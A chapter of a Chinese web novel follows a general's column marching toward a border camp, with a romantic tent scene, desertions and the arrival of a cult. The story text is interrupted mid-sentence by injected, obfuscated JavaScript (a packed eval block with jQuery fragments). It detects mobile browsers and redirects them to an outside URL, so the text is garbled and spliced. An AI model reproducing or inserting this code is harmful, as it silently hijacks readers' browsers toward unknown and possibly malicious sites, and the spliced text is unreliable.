差两刻酉正时的西城门外，皓月当空，人潮涌动，喧嚣如沸。


    好不容易跟来的乔婉眠挑开车帷一条缝隙，透过侍卫的刀戟间隙，望向外面熙攘人群，疑惑道：“如此多人？皆为大人舍生忘死？”


    萧越声音较平日低沉得多：“其中，忠勇无畏者，十之四五；观火者，二三；取巧者，二三。你且安心，他们不会尽数相随，亦不会始终如一。”


    乔婉眠轻应一声，强抑回眸凝视萧越的冲动。


    酉正时分，号角声起，马蹄声碎，队伍在凛冽寒风中带着点点星火，蜿蜒出城，踏上西北官道。


    乔家马车在最前开道，两旁跟着乔家护卫。


    萧越、乔婉眠、启束的车紧随。


    萧越的人马穿插安排在整个伍队中，只余刃刀卫道护持两侧。


    梨儿、冬花等仆妇与暗卫居于第三辆马车，再后则是监察团的车马与宿城兵马。


    黑矿救出及近日聚集宿城的青壮，由敛剑率领，行于队尾。


    队伍浩浩荡荡，首尾难见，如长蛇般蜿蜒于官道之上。虽人数众多，却气氛凝重，压抑至极。


    乔婉眠启窗，唯闻风声、车马声、旗帜猎猎声，乃至火把燃烧的噼啪声。


    她阖窗回首，前所未有地柔声问萧越：“一路皆会如此静谧？”


    启束嫌弃地瞥乔婉眠一眼，又顺她的目光打量萧越。


    萧越墨发高束，更显利落；身着玄铁轻甲，英气非常；手边倚着二十年未出鞘、半人多高的萧老将军遗物——霜寒重剑，平添庄重。


    诚然，萧越这少年武将的装扮颇具风采。


    然而，乔姑娘的反应未免太过夸张罢！


    简直是嘴角与眼珠齐飞，口水共红颊一色，那眼睛恨不得贴萧越脸上。


    实在不忍直视！


    萧越对上乔婉眠目光，短暂地腼腆了会儿，接着心中释然。


    原来她并非不爱武生爱书生，只是单纯喜欢长得好看的。


    启束几崩溃。


    这两人虽未言语、未对视、未动作，甚至连呼吸都如常，却笑得诡异，实在令人牙酸。


    他不应该在这里。


    －


    山路崎岖，队伍行进间难免磕碰，加之人员混杂，须防齐国细作趁机生事。


    桑耳穿梭于卫道队伍间巡视，细察之下，监察团虽秩序井然，却个个面色阴沉。


    稍加思索，便知缘由。


    监察团众人各怀心思，安静只因人人心中拨弄算盘。他们来此，或因被贬外放，或为求权位贤名“自愿”相随，鲜有为西原百姓甘愿离京赴险者。


    再加林之临终之言令萧老将军声名受损，更削弱了众人追随其孙的决心。


    桑耳从护送官吏的金吾卫眼中，只见愁绪与退意。


    首日行程，无陷阱、无刺杀，在沉默中平安度过。刃刀号角声起，众人停步安营，燃火整顿。


    北风呼啸，帐篷如海浪在山坳中翻涌不息。


    ……


    一路上，乔婉眠倚着萧越小憩良久，此刻毫无睡意，便披上斗篷，溜出帐。


    寒风刺面，乔婉眠兴致顿消，正欲转身回帐，却冷不丁对上一张放大笑脸。


    她一个哆嗦：“啊！谁？”


    “是你啊……险些没认出，吓我一跳。”


    启束收起笑，揣着手，疑惑看乔婉眠。


    她忙解释：“月黑风高，你戴这么大一顶兽毛帽乍然出现，气质大变，我有点不习惯。”是夸赞的语气。


    遮住光头、不乱甩佛珠的启束，竟算得上芝兰玉树。


    笑容重现，启束道：“我即我，皮囊不足改。既你也有此雅兴，不如同游？”


    乔婉眠抬头望去，薄薄一层阴翳像破棉絮一样稀稀拉拉盖满夜空。


    “……”赏月？月呢？


    但她不擅拒绝，便应了下来，二人在空地上哆哆嗦嗦地踱步。


    乔婉眠随口问道：“你明明六根不净，喝酒吃肉杀生，既不想出家，也不爱钻研佛法，为何当年执意出家，又至今不改？”


    启束坦然答道：“莫忘了，不做‘启束’，我便是大族嫡长。若非遁入空门，怎能在这个年纪仍逍遥于朝堂外，助挚友至此？阿弥陀佛，姑娘看我不在修行，实则人生所有际遇，皆是修行。”


    “你突然好深奥。”她都快听不懂了。


    走着走着，乔婉眠似有所感，猛地回头，但身后空空。


    启束尤在自顾自说话：“……那处地形复杂，实乃刺杀‘宝地’。”


    似乎是什么有用的知识，但乔婉眠已经完全听不进去了，她心念一动，借口脚趾冻僵回了帐。


    果然，昏榻边伫立着一道挺拔身影，铁甲勾勒出宽阔肩膀与劲瘦腰身，在昏暗烛火中更显威仪。


    乔婉眠甩落斗篷，蝶般扑上去，眸中漾着惊喜："大人来了？"全然将乔应舟的叮嘱抛诸脑后。


    萧越轻拍少女的背："想见你，便来了。"他抬手轻抚她的发，"放心，那边都已安排妥当，即便此刻刺客来袭，也绝不会露出破绽。"


    乔婉眠放了心，旋即小蛇似的黏在萧越手臂上，侧脸贴上铁甲。


    萧越唇角微扬，却见她猛地弹开，揉着脸嗔道："不行，太冰了。"


    萧越目光一暗，捞起人，将她打横抱起，大步走向炭盆旁的斗篷，将它捡起，将她裹得严严实实，只露一张秾丽小脸。


    乔婉眠双颊绯红，却未抗拒。


    他抱着"茧"坐回榻上，一手揽肩，一手环腰，让乔婉眠侧坐在他腿上。


    暖盆的微光暧昧摇曳，勾勒出乔婉眠精致的轮廓，她美得似传说中山间食人精血的美艳精怪，神情里都是不通人事又向往好奇和欲拒还迎的情意。


    萧越喉结滚动，四肢百骸都被引燃。


    他凑近她右耳，气息灼热："还冷吗？"


    一阵酥麻流窜到全身，乔婉眠别过头扭身子，涨红着脸轻声道：“不了。”


    “嘶……别乱动。”萧越听起来有点压抑又有点危险。


    乔婉眠不动了。


    脸被他用大手包着缓慢而轻柔地转回去，萧越手掌与视线缓缓下移，用拇指和食指抬起乔婉眠的下颌，掌控着她仰头。


    以往接触时她都被萧越激动的模样吓得魂飞魄散，根本没余力观察别的，乔婉眠这次才觉察到，萧越手背瞧着白净，其实指腹掌心粗粝，各种兵器磨出的各种茧，一样不少。


    他俯身靠近。炽热的气息再次与乔婉眠颤抖的气息交融。


    火光曳曳，喉结滚动。


    萧越的唇轻轻覆上她的，不再像饿三天的狼崽子那样急切探索，只是轻吮间或啄吻，颇有种缱绻情深的意味，乔婉眠渐渐从逃避，转为不自觉的沉浸。


    萧越目光的侵略性太强，乔婉眠颤着睫毛闭眼逃避。


    忽觉鼻梁被轻啄，似是温和的警告，他低沉的声音带着蛊惑："看我。"


    她摇头。


    他便转而含住她的耳珠，轻轻舔舐。乔婉眠失控地轻吟，萧越心漾一瞬，继续诱哄："睁开吗？"


    若非他口中温度更灼热，乔婉眠真要怀疑他是惑人的蛇精。实在受不住，她只得妥协，眼帘微掀。


    暗光中，萧越目光如烈火般灼人。


    凌厉的五官逼近，再次吻上她的唇。


    睁着眼睛，她甚至能抽空看到萧越的唇齿和舌，明白它们是怎样样戏弄自己的唇舌……这禁忌的感觉令她心脏狂跳。


    受不了这般刺激，乔婉眠重新闭眼，在他膝上不安地扭动。


    萧越轻捏她的侧腰，声音沙哑："说了别在我身上这样，很危险。"


    "啊？谁危险？什么危险？"她茫然睁眼。


    萧越轻叹，在她云朵般的脸颊上落下一吻："只能陪你这些时间。我走后，乖乖呆在营帐里。"他将面红耳赤、呼吸凌乱的乔婉眠从膝上挪开，"早些休息，明日大概就乱起来了。"


    乔婉眠身上一层汗，脱下斗篷，心想，谁稀罕你来占便宜。


    等她回头再找萧越，人已经不见了。


    －


    半夜就飘起雨夹雪，直至朝阳初升，天地间还是一片阴霾。


    乔婉眠只觉万物都被夺了最后一丝生气，泥土返上来的腥气正是秋被冬谋害的铁证。


    空气加倍阴寒透骨，昨日穿着正好的衣裳已不够厚。


    开阳“一叶知秋”，这边“一夜知冬”。


    萧越预料的没错，昨日的平静果然是暂时的。


    监察团那边一大早就派邱岳来报：谢俞和他的小厮果然染上瘟疫，高烧不醒；另有几位大人身体不适，尚不确定是否染疫。


    启束隔窗质问：“商讨的结果为何？”


    邱岳答："御史们说，文官体弱，恐拖累大人。他们返程只要二百宿城守军护卫。李御史称，即便不进城，城门处气候也比山中温和，谢大人能好得快些。"


    刃刀怒目，"出发前已说清，愿追随者随行，不愿者自便。这些人半途反悔，徒增麻烦。要走便走，休想带走一兵一卒。"


    邱岳壮着胆子问："若士兵自愿跟随呢？"


    刃刀语塞。


    车内传来萧越的咳嗽声："告诉他们，无论何人何时，想走的尽可走。"


    消息传开，军心涣散，尤以宿城守军为甚。


    他们早屈从林之，没少为虎作伥，只是罪孽不深，未像那些接连被清算的同僚身首异处。但午夜梦回，心仍难安，觉得迟早要轮到自己，想先立点功。


    他们也没想到这次萧越这次真没有谋划，真的带所有人赴死。


    他们暗自盘算：若能救下一位都城来的大官，立功受赏，或许能升官发财，甚至前往开阳。


    人们三五成群议论着，只等一阵东风。


    议论间，东风已至。


    小厮来传话："愿护送监察团回宿城的，每位赏二两酒钱！"


    二两？！半年的酒钱！不愧是开阳的官老爷！


    先是几个队正被小兵簇拥上前。


    接着有几人借口："想为萧老将军后人尽忠，可家母病重，二两银够买数月贵安堂的药。"


    底下人哄笑：“你们一个娘生的？”


    那些人充耳不闻，臊眉耷眼地站到前面。


    随后，人们陆续上前，连借口都懒得找。


    小厮慌了："够了够了！"再来他家大人该卖宅了！


    官兵们面露惋惜："我们只是担忧各位大人路上不安全，不要银钱。"


    小厮咋舌，指着一人安排："他之后的，都没赏钱，列队随我来。"


    闹剧耽误了一个时辰。


    萧越传令：回宿城的收好行囊让路，愿继续跟随的先行，回程的最后启程。为保万无一失，再拨出一队人护着他们。


    桑耳骑马传令，回禀萧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987003|160709||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    越："原一万六千余人，现余八千余。"


    启束震惊："还有这么多不要命的？"


    桑耳如实报数："金吾卫余半，御史余五人，宿城守军三千余一千，自发而来的百姓一万余九千。"


    乔婉眠泪目，回身看萧越："大人的好，百姓记得。"


    萧越抿唇不语，眼中闪过一丝复杂情绪。


    桑耳继续道：“留下的五位御史中，有谢俞谢大人。他要属下传话给大人，他说他‘三尺微命，一介书生（注1），愿随之。’”


    乔婉眠不自觉握紧手中短刃，心中惭愧。


    她靠回萧越身上，指甲来回抠着刃上纹饰，小声：“我还以为那些御史都是谢俞教唆走的，误会他了。”


    萧越将她自伤的手松开，牵在掌中，“确是他教唆走的，不过他只是按我吩咐行事。只我也没想到，他竟会留下。”


    乔婉眠眼睛缓缓瞪大："他知道大人装病？你们怎样传递消息？"


    萧越饶有兴趣地低声：“求我。”


    启束冷哼一声，罩上斗篷掀帘而出。


    乔婉眠毫无心理压力，双手合十，仰着脸娇声道："求求你啦~"


    萧越满意地点头，"他拽过我衣领。"


    是她亲眼所见，"对呀，然后呢？"


    “我若防他，他岂能近身？是我希望他看清面具。”


    乔婉眠这才恍然，那面具三步内才可辨出真假。


    “当时他就反应过来，还顺着你演戏？”乔婉眠惊叹。


    “不错。”萧越点头，“他很聪明。”


    乔婉眠举一反三，思索着推测：“如此说来，启束给他的并非普通药包？他又怎么知道留什么指示？”


    萧越揉乱乔婉眠的发，解释："我与谢俞算旧识，知道疫病瞒不住他，早与启束计划好后续行动。"


    乔婉眠叹一口气，心服口服。人跟人的差距真是太大了……


    她当时在干嘛来着？


    跟着几个抬箱的小兵哭。


    乔婉眠推窗，伸手接空中飘零的小白花。


    雨夹雪却只会在触碰到世间万物时瞬间融化。


    乔婉眠叹息："都来不及看清，化的好快。"又叹："大人，林如海真会提前劫杀？等你去大营再包饺子不是更稳妥吗？"


    萧越习惯性按剑。


    祖父传给他的霜寒像是嗅到了即将到来的血腥厮杀，兴奋颤抖着。


    “定会提前劫杀。我死在路上，林如海才有颠倒黑白的机会。”


    “可当初谢俞就没信，林如海就会信？”


    萧越一笑，马车里更显阴寒，"他信一成，就会有一成的漏洞，我就多一成胜算。且事到如今，他只能赌一把来杀我，日后再报告朝廷说我为掌控镇西军散播谣言，残害林之。"


    乔婉眠看向萧越。


    他眸里一扫前些天的犹疑与失落，取而代之的是兴奋与嗜血。


    像笃定自己马上翻盘的赌徒，呼吸都带着体内翻涌的狂热。


    她突然明白，与大部分人的中庸温吞不同，有些人就是天生野心勃勃，有生之年都会一直赌上性命向上攀岩。即便信仰被击碎，也只是他们再爬起来的理由。


    什么都阻碍不了他。


    萧虔也好，三皇子也罢，甚至林之，都只是需要萧越铲掉的拦路石。


    阴云蔽日，雨雪裹挟着山间阴气细密飘落，如恶鬼织网。


    队伍缩减过半，如断尾的蛇蜿蜒在泥泞中。


    萧越掀开车帘，望着路旁残留的马车残骸道："此处每年都要吞几辆粮草车，不知是天灾，还是人祸。"


    穿过鬼门关般的险道，天地豁然开阔。


    久违的日光破云而出，却过分苍白，给万物罩上一层死气。


    斥候仓惶来报："之前探，前二百里处路上无人，方才再探，百里外突现一队白衣人，举着白幡，敲敲打打，瞧着有些诡异。不知是不是办丧……"


    启束指尖捻着佛珠冷笑："心眼儿叫雪埋了？这条路直通镇西军大营，百里无人烟——"佛珠崩断，檀木珠子滚落泥地，“我且问你，可有人摔盆？哭丧？可有棺材？”


    “没、没有。但我隐约瞧见他们抬着两顶大轿子，那轿子只拿白布弄了好多帘子，六面漏风，看不清里面有没有人。”


    启束道：“什么办丧？是顶轮教出山！百里之距，若依原速前进，不出一个时辰就要碰上。”


    又来斥候扑跪在地："顶轮教后头跟着上千百姓，宁城口音居多！"


    宁城在归直山里，比镇西军大营更靠近如今的盛、齐分界，城池直接归林如海管辖，原该是一座纪律分明的驻军城，也是边境一道重要防线。


    乔婉眠握拳。冬花姐妹就是宁城人，她们父母就是被顶轮教蒙骗至死的。


    顶轮教此时此地出现，又如此行事，更证明林如海勾结齐人坑害本国百姓。


    丑恶至极！恶心！


    她定要亲手了结了这吃人的顶轮教！


    萧越分开乔婉眠又开始互相撕扯指尖皮肉的手指，厉声道："传令：老弱速退，遇袭只可自保。"


    令旗挥动间，数千人相携离去。留下的士卒沉默着擦拭刀刃，刀上映着他们脖颈突突跳动的青筋。


    真要同室操戈？


    斥候频繁来往，大部队仍旧向前。


    半个时辰后，果真听到吊诡乐声穿透风雪。